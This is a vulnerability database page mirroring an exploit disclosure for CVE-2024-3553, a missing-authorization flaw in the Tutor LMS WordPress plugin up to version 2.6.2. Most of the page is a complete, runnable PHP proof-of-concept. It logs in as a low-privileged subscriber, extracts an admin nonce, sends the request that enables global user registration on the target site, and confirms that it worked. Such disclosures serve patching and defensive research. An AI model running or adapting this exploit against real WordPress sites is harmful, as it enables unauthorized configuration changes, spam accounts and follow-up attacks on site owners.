Lucene search
+L

📄 Tutor LMS 2.6.2 Missing Authorization / Privilege Escalation

🗓️ 10 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 171 Views

Tutor LMS 2.6.2 allows any authenticated user to access admin area and enable global registration; fixed in 2.7.0.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Missing Authorization in Themeum Tutor_Lms
26 Dec 202515:22
–githubexploit
bdu_fstec
BDU FSTEC
Tutor LMS Plugin Access Disclosure
30 Apr 202400:00
–bdu_fstec
circl
Circl
CVE-2024-3553
26 Dec 202521:00
–circl
cnnvd
CNNVD
WordPress plugin Tutor LMS has a security vulnerability
2 May 202400:00
–cnnvd
cve
CVE
CVE-2024-3553
2 May 202416:52
–cve
cvelist
Cvelist
CVE-2024-3553 Tutor LMS <= 2.6.2 - Missing Authorization to Unauthenticated Limited Options Update
2 May 202416:52
–cvelist
euvd
EUVD
EUVD-2024-32139
3 Oct 202520:07
–euvd
kitploit
Kitploit
CVE-2024-3553
28 Oct 202604:31
–kitploit
nvd
NVD
CVE-2024-3553
2 May 202417:15
–nvd
osv_cve
osv_cve
CVE-2024-3553
2 May 202417:15
–osv_cve
Rows per page
=============================================================================================================================================
    | # Title     : Tutor LMS 2.6.2 Missing Authorization vulnerability                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://tutorlms.com                                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213309/ & 	CVE-2024-3553
    
    [+] Summary    : missing authorization vulnerability in the Tutor LMS WordPress plugin (versions ≤ 2.6.2). 
                     The plugin fails to properly verify user capabilities in the hide_notices() function, relying only on is_admin() and a valid nonce. As a result, 
    				 any authenticated user, including low-privileged subscribers, can access the WordPress admin area, obtain a legitimate nonce, and trigger an unauthorized option update that enables global user registration. 
                     This may lead to unauthorized account creation, spam abuse, and potential follow-up attacks. The issue was fixed in version 2.7.0 by enforcing proper capability checks using current_user_can('manage_options').
    
    [+] POC : php poc.php https://target.com subscriber_user password
    
    <?php
    
    class TutorLMSPoC {
    
        private $target;
        private $username;
        private $password;
        private $cookie;
    
        public function __construct($target, $username, $password) {
            $this->target   = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->cookie   = tempnam(sys_get_temp_dir(), 'wp_');
        }
    
        private function request($url, $post = false, $data = null) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (PoC)');
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
            if ($post === true) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            }
    
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        public function login() {
            echo "[*] Logging in as {$this->username}...\n";
    
            $loginUrl = $this->target . '/wp-login.php';
    
            $data = [
                'log'         => $this->username,
                'pwd'         => $this->password,
                'wp-submit'   => 'Log In',
                'redirect_to' => $this->target . '/wp-admin/',
                'testcookie'  => 1
            ];
    
            $response = $this->request($loginUrl, true, $data);
    
            if (strpos($response, 'wp-admin') !== false) {
                echo "[+] Login successful\n";
                return true;
            }
    
            echo "[-] Login failed\n";
            return false;
        }
    
        public function getNonce() {
            echo "[*] Extracting WordPress nonce...\n";
    
            $adminPage = $this->request($this->target . '/wp-admin/');
    
            if (preg_match('/_wpnonce[^"\']*["\']([a-f0-9]{10,})/i', $adminPage, $matches)) {
                echo "[+] Nonce found: {$matches[1]}\n";
                return $matches[1];
            }
    
            echo "[-] Nonce not found\n";
            return false;
        }
    
        public function exploit($nonce) {
            echo "[*] Sending exploit request...\n";
    
            $exploitUrl = $this->target . '/wp-admin/index.php?' . http_build_query([
                'tutor-hide-notice'  => 'registration',
                'tutor-registration'=> 'enable',
                '_wpnonce'           => $nonce
            ]);
    
            $this->request($exploitUrl);
    
            echo "[+] Exploit request sent\n";
        }
    
        public function checkRegistration() {
            echo "[*] Checking registration status...\n";
    
            $res = $this->request($this->target . '/wp-login.php?action=register');
    
            if (strpos($res, 'user_login') !== false) {
                echo "[!] Registration is ENABLED\n";
                return true;
            }
    
            echo "[!] Registration is DISABLED\n";
            return false;
        }
    }
    
    $target   = $argv[1] ?? null;
    $username = $argv[2] ?? null;
    $password = $argv[3] ?? null;
    
    if (!$target || !$username || !$password) {
        echo "Usage:\n";
        echo "php poc.php <target> <username> <password>\n";
        exit(1);
    }
    
    $poc = new TutorLMSPoC($target, $username, $password);
    
    if (!$poc->login()) {
        exit(1);
    }
    
    $nonce = $poc->getNonce();
    if (!$nonce) {
        exit(1);
    }
    
    $poc->exploit($nonce);
    $poc->checkRegistration();
    
    	
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation